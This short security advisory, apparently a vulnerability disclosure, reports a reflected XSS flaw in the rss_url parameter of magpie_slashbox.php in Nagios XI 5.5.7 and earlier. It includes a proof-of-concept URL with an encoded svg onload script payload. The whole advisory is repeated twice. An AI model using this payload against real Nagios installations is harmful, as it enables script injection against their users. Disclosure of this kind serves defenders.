### Nagios XI <=5.5.7 Reflect XSS#2 The rss_url parameter of magpie_slashbox.php is not filtered, resulting in an XSS vulnerability. #### Affected Version * Nagios XI <= 5.5.7 #### Proof of concept ``` http://192.168.177.128/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_slashbox.php?rss_url=111%22%3Csvg%2Fonload%3Dalert%281%29%3E ``` 
### Nagios XI <=5.5.7 Reflect XSS#2 The rss_url parameter of magpie_slashbox.php is not filtered, resulting in an XSS vulnerability. #### Affected Version * Nagios XI <= 5.5.7 #### Proof of concept ``` http://192.168.177.128/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_slashbox.php?rss_url=111%22%3Csvg%2Fonload%3Dalert%281%29%3E ``` 